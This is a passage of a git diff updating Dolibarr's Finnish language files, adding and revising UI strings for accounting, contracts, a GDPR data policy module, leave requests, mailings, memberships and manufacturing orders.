if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/fi_FI/commercial.lang b/htdocs/langs/fi_FI/commercial.lang index 8968ca8b92d..310b44199fa 100644 --- a/htdocs/langs/fi_FI/commercial.lang +++ b/htdocs/langs/fi_FI/commercial.lang @@ -3,8 +3,8 @@ Commercial=Kaupankäynti CommercialArea=Kaupankäyntialue Customer=Asiakas Customers=Asiakkaat -Prospect=Mahdollisuus -Prospects=Mahdollisuudet +Prospect=Prospekti +Prospects=Prospektit DeleteAction=Poista tapahtuma NewAction=Uusi tapahtuma AddAction=Luo tapahtuma @@ -64,17 +64,26 @@ ActionAC_SHIP=Lähetä toimitus postitse ActionAC_SUP_ORD=Lähetä toimittajan tilaus postitse ActionAC_SUP_INV=Lähetä toimittajan lasku postitse ActionAC_OTH=Muut -ActionAC_OTH_AUTO=Automaattisesti lisätyt tapahtumat +ActionAC_OTH_AUTO=Other auto ActionAC_MANUAL=Käsin lisätyt tapahtumat ActionAC_AUTO=Automaattisesti lisätyt tapahtumat -ActionAC_OTH_AUTOShort=Automaattinen +ActionAC_OTH_AUTOShort=Muu +ActionAC_EVENTORGANIZATION=Event organization events Stats=Myyntitilastot StatusProsp=Mahdollisuuden tila DraftPropals=Tarjousluonnos NoLimit=Rajoittamaton ToOfferALinkForOnlineSignature=Linkki sähköiseen allekirjoitukseen -WelcomeOnOnlineSignaturePage=Tällä sivulla voit hyväksyä %s tarjoukset -ThisScreenAllowsYouToSignDocFrom=Tämä näyttö sallii sinun hyväksyvän ja allekirjoittavan, tai hylkäävän, lainauksen/tarjouspyynnön -ThisIsInformationOnDocumentToSign=Tämä on informaatiota dokumentistä hyväksymiseksi tai hylkäämiseksi +WelcomeOnOnlineSignaturePageProposal=Tällä sivulla voit hyväksyä %s tarjoukset +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=Tämä näyttö sallii sinun hyväksyvän ja allekirjoittavan, tai hylkäävän, lainauksen/tarjouspyynnön +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=Tämä on informaatiota dokumentistä hyväksymiseksi tai hylkäämiseksi +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Tarjouksen %s allekirjoitus +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Sähköinen allekirjoitus on poissa käytöstä tai dokumentti on luotu ennen sen käyttöönottoa diff --git a/htdocs/langs/fi_FI/compta.lang b/htdocs/langs/fi_FI/compta.lang index e86709e5c48..89db9740055 100644 --- a/htdocs/langs/fi_FI/compta.lang +++ b/htdocs/langs/fi_FI/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balance (before) Balance=Saldo Debit=Debet Credit=Credit +AccountingDebit=Debet +AccountingCredit=Credit Piece=Accounting Doc. AmountHTVATRealReceived=HT kerätty AmountHTVATRealPaid=HT maksetaan @@ -146,9 +148,11 @@ ConfirmPaySalary=Are you sure you want to classify this salary card as paid? DeleteSocialContribution=Delete a social or fiscal tax payment DeleteVAT=Delete a VAT declaration DeleteSalary=Delete a salary card +DeleteVariousPayment=Delete a various payment ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +ConfirmDeleteSalary=Are you sure you want to delete this salary ? +ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? ExportDataset_tax_1=Social and fiscal taxes and payments CalcModeVATDebt=Mode %sVAT on commitment accounting%s. CalcModeVATEngagement=Mode %sVAT on incomes-expenses%s. @@ -242,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=The report of Turnover colle TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=The report of Turnover collected per sale tax rate is not available. This report is only available for turnover invoiced. CalculationMode=Calculation mode AccountancyJournal=Accounting code journal -ACCOUNTING_VAT_SOLD_ACCOUNT=Accounting account by default for VAT on sales (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_BUY_ACCOUNT=Accounting account by default for VAT on purchases (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_PAY_ACCOUNT=Accounting account by default for paying VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Accounting account used for customer third parties +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=Accounting account used for vendor third parties +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. ConfirmCloneTax=Confirm the clone of a social/fiscal tax ConfirmCloneVAT=Confirm the clone of a VAT declaration @@ -287,9 +291,9 @@ ReportPurchaseTurnover=Purchase turnover invoiced ReportPurchaseTurnoverCollected=Purchase turnover collected IncludeVarpaysInResults = Include various payments in reports IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) +InvoiceLate30Days = Late (> 30 days) +InvoiceLate15Days = Late (15 to 30 days) +InvoiceLateMinus15Days = Late (< 15 days) InvoiceNotLate = To be collected (< 15 days) InvoiceNotLate15Days = To be collected (15 to 30 days) InvoiceNotLate30Days = To be collected (> 30 days) @@ -298,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/fi_FI/contracts.lang b/htdocs/langs/fi_FI/contracts.lang index 4e87012c192..ce7a8cf9a32 100644 --- a/htdocs/langs/fi_FI/contracts.lang +++ b/htdocs/langs/fi_FI/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Sopimukset/Tilaukset ContractsAndLine=Contracts and line of contracts Contract=Sopimus ContractLine=Contract line +ContractLines=Contract lines Closing=Closing NoContracts=Ei sopimuksia MenuServices=Palvelut @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Are you sure you want to delete this contract line? MoveToAnotherContract=Siirrä palvelua toisen sopimuksen. ConfirmMoveToAnotherContract=I choosed uusi tavoite sopimuksen ja vahvistaa Haluan siirtää tämän palvelua tämän sopimuksen. ConfirmMoveToAnotherContractQuestion=Choose in which existing contract (of same third party), you want to move this service to? -PaymentRenewContractId=Uudista sopimus linja (numero %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Vanhenemispäivä NoExpiredServices=Ei päättynyt aktiiviset palvelut ListOfServicesToExpireWithDuration=List of Services to expire in %s days @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Kirjautuminen sopimus asiakkaiden yhte HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/fi_FI/datapolicy.lang b/htdocs/langs/fi_FI/datapolicy.lang new file mode 100644 index 00000000000..285d0fb065c --- /dev/null +++ b/htdocs/langs/fi_FI/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Asiakas +DATAPOLICY_TIERS_PROSPECT = Prospekti +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Toimittaja +DATAPOLICY_CONTACT_CLIENT = Asiakas +DATAPOLICY_CONTACT_PROSPECT = Prospekti +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Toimittaja +DATAPOLICY_ADHERENT = Jäsen +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/fi_FI/dict.lang b/htdocs/langs/fi_FI/dict.lang index ee3e6c5e049..e8fe4424e02 100644 --- a/htdocs/langs/fi_FI/dict.lang +++ b/htdocs/langs/fi_FI/dict.lang @@ -21,7 +21,7 @@ CountryNL=Alankomaat CountryHU=Unkari CountryRU=Venäjä CountrySE=Ruotsi -CountryCI=Norsunluurannikko +CountryCI=Ivory Coast CountrySN=Senegal CountryAR=Argentiina CountryCM=Kamerun @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Mrs +CivilityMMEShort=Mrs CivilityMR=Hra +CivilityMRShort=Hra CivilityMLE=Nti CivilityMTRE=Mestari CivilityDR=Tohtori diff --git a/htdocs/langs/fi_FI/ecm.lang b/htdocs/langs/fi_FI/ecm.lang index 1b92840f492..66c2191a70a 100644 --- a/htdocs/langs/fi_FI/ecm.lang +++ b/htdocs/langs/fi_FI/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Manuaalinen hakemisto ECMSectionAuto=Automaattinen hakemisto ECMSectionsManual=Manuaalinen hakemistopuu ECMSectionsAuto=Automaattinen hakemistopuu +ECMSectionsMedias=Medias tree ECMSections=Hakemistot ECMRoot=ECM Root ECMNewSection=Uusi hakemisto @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Tiedostojen määrä alihakemistoissa ECMCreationUser=Luoja ECMArea=DMS/ECM area ECMAreaDesc=The DMS/ECM (Document Management System / Electronic Content Management) area allows you to save, share and search quickly all kind of documents in Dolibarr. -ECMAreaDesc2=* Automaattiset hakemistot täyttyvät automaattisesti kun lisäät dokumentteja kortille.
      * Manuaalisten hakemistojen avulla voidaan tallentaa asiakirjoja, joita ei ole sidottu tiettyyn osaan. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Hakemisto %s on poistettu. ECMSectionWasCreated=Directory %s has been created. ECMSearchByKeywords=Etsi avainsanoilla diff --git a/htdocs/langs/fi_FI/holiday.lang b/htdocs/langs/fi_FI/holiday.lang index f83bf3dc4f6..0e9e5e4e10b 100644 --- a/htdocs/langs/fi_FI/holiday.lang +++ b/htdocs/langs/fi_FI/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=Henkilöstöhallinta -Holidays=Poissaolot +Holidays=Leaves +Holiday=Poissaolot CPTitreMenu=Poissaolot MenuReportMonth=Monthly statement MenuAddCP=New leave request +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=Make a leave request DateDebCP=Aloituspäivämäärä @@ -56,6 +58,7 @@ ConfirmDeleteCP=Confirm the deletion of this leave request? ErrorCantDeleteCP=Error you don't have the right to delete this leave request. CantCreateCP=You don't have the right to make leave requests. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=You must select a start date. NoDateFin=You must select an end date. ErrorDureeCP=Your leave request does not contain working day. @@ -79,6 +82,8 @@ MotifCP=Syy UserCP=Käyttäjä ErrorAddEventToUserCP=An error occurred while adding the exceptional leave. AddEventToUserOkCP=The addition of the exceptional leave has been completed. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=View change logs LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Previous Balance NewSoldeCP=New Balance alreadyCPexist=A leave request has already been done on this period. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Groups +users=Users +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Latest %s modified leave requests @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/fi_FI/mails.lang b/htdocs/langs/fi_FI/mails.lang index 34268ad2424..0277a1b2a95 100644 --- a/htdocs/langs/fi_FI/mails.lang +++ b/htdocs/langs/fi_FI/mails.lang @@ -7,10 +7,10 @@ MailCard=Sähköpostituksen kortti MailRecipients=Vastaanottajat MailRecipient=Vastaanottaja MailTitle=Otsikko -MailFrom=Lähettäjä +MailFrom=Laskuttaja MailErrorsTo=Virheiden MailReply=Vastaa -MailTo=Vastaanotin (s) +MailTo=Vastaanottaja MailToUsers=To user(s) MailCC=Kopioi MailToCCUsers=Copy to users(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Emails from file MailingModuleDescEmailsFromUser=Emails input by user MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) +MailingModuleDescThirdPartiesByCategories=Sidosryhmät SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/fi_FI/main.lang b/htdocs/langs/fi_FI/main.lang index 2665e5e68c3..3b423c1a458 100644 --- a/htdocs/langs/fi_FI/main.lang +++ b/htdocs/langs/fi_FI/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=Tämän tyyliselle sähköpostille ei ole pohjaa saatavilla AvailableVariables=Käytettävissä olevat korvaavat muuttujat NoTranslation=Ei käännöstä Translation=Käännös +Translations=Translations CurrentTimeZone=Aikavyöhyke PHP (palvelin) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Voimassa Approve=Hyväksy Disapprove=Poista hyväksyntä ReOpen=Avaa uudelleen +OpenVerb=Avoinna Upload=Lähetä ToLink=Linkki Select=Valitse @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=Käyttäjäryhmää ei ole määritelty Password=Salasana -PasswordRetype=Kirjoitta salasana uudelleen +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Huomaa, että monet piirteet / modules on poistettu käytöstä tämän esittelyn. Name=Nimi NameSlashCompany=Nimi / yritys @@ -481,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=Jäsenen tapahtumat ActionsOnProduct=Tapahtumat tästä tuotteesta +ActionsOnAsset=Events for this fixed asset NActionsLate=%s myöhässä ToDo=Tehtävät Completed=Completed @@ -921,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Lataa DownloadDocument=Lataa dokumentti +DownloadSignedDocument=Download signed document ActualizeCurrency=Päivitä valuuttakurssi Fiscalyear=Tilivuosi ModuleBuilder=Module and Application Builder @@ -1046,6 +1056,7 @@ SearchIntoContracts=Sopimukset SearchIntoCustomerShipments=Asiakas lähetykset SearchIntoExpenseReports=Kuluraportit SearchIntoLeaves=Poissaolot +SearchIntoKM=Knowledge base SearchIntoTickets=Tiketit SearchIntoCustomerPayments=Asiakasmaksut SearchIntoVendorPayments=Toimittajien maksut @@ -1137,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Päivitys kaikille riveille OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Kurssi +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1174,9 +1199,14 @@ Terminated=Terminated AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Sisäinen käyttäjä +ExternalUser=Ulkoinen käyttäjä diff --git a/htdocs/langs/fi_FI/members.lang b/htdocs/langs/fi_FI/members.lang index 4a819ff6665..9fd81f19c76 100644 --- a/htdocs/langs/fi_FI/members.lang +++ b/htdocs/langs/fi_FI/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Toinen jäsen (nimi: %s, kirjautum ErrorUserPermissionAllowsToLinksToItselfOnly=Turvallisuussyistä sinun täytyy myöntää oikeudet muokata kaikki käyttäjät pystyvät linkki jäsenen käyttäjä, joka ei ole sinun. SetLinkToUser=Linkki on Dolibarr käyttäjä SetLinkToThirdParty=Linkki on Dolibarr kolmannen osapuolen +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Luettelo jäsenistä MembersListToValid=Luettelo luonnoksen jäsenten (jotka on vahvistettu) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Uusi jäsen @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Member type can not be deleted NewSubscription=Uusi rahoitusosuus NewSubscriptionDesc=Tämän lomakkeen avulla voit tallentaa tilauksen uutena jäsenenä säätiön. Jos haluat uudistaa tilauksen (jos on jo jäsen), ota yhteyttä säätiön hallituksen sijasta sähköpostitse %s. Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Kesto +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Myöhässä SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=Sisältö jäsennimesi kortti # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=We want to let you know that your membership request was received.

      ThisIsContentOfYourMembershipWasValidated=We want to let you know that your membership was validated with the following information:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Liikevaihto (yritykselle) tai budjetti (ja säätiö) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Hyppää integroitu verkossa maksusivulla +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=By nature MembersStatisticsByProperties=Members statistics by nature VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/fi_FI/mrp.lang b/htdocs/langs/fi_FI/mrp.lang index 24fe344aebd..99de8db95d3 100644 --- a/htdocs/langs/fi_FI/mrp.lang +++ b/htdocs/langs/fi_FI/mrp.lang @@ -11,8 +11,8 @@ Bom=Bills of Material BillOfMaterials=Bill of Materials BillOfMaterialsLines=Bill of Materials lines BOMsSetup=Setup of module BOM -ListOfBOMs=List of bills of material - BOM -ListOfManufacturingOrders=List of Manufacturing Orders +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Valmistustilaukset NewBOM=New bill of materials ProductBOMHelp=Product to create (or disassemble) with this BOM.
      Note: Products with the property 'Nature of product' = 'Raw material' are not visible into this list. BOMsNumberingModules=BOM numbering templates @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Are you sure you want to clone the bill of materials ConfirmCloneMo=Are you sure you want to clone the Manufacturing Order %s ? ManufacturingEfficiency=Manufacturing efficiency ConsumptionEfficiency=Consumption efficiency +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=Value of 0.95 means an average of 5%% of loss of produced product DeleteBillOfMaterials=Delete Bill Of Materials @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=For a quantity to disassemble of %s ConfirmValidateMo=Are you sure you want to validate this Manufacturing Order? ConfirmProductionDesc=By clicking on '%s', you will validate the consumption and/or production for the quantities set. This will also update the stock and record stock movements. ProductionForRef=Production of %s +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement AutoCloseMO=Close automatically the Manufacturing Order if quantities to consume and to produce are reached NoStockChangeOnServices=No stock change on services ProductQtyToConsumeByMO=Product quantity still to consume by open MO @@ -80,6 +83,7 @@ ProductsToProduce=Products to produce UnitCost=Unit cost TotalCost=Total cost BOMTotalCost=The cost to produce this BOM based on cost of each quantity and product to consume (use Cost price if defined, else Average Weighted Price if defined, else the Best purchase price) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=You must first have started the production to close a Manufacturing Order (See tab '%s'). But you can Cancel it. ErrorAVirtualProductCantBeUsedIntoABomOrMo=A kit can't be used into a BOM or a MO Workstation=Workstation @@ -107,3 +111,10 @@ 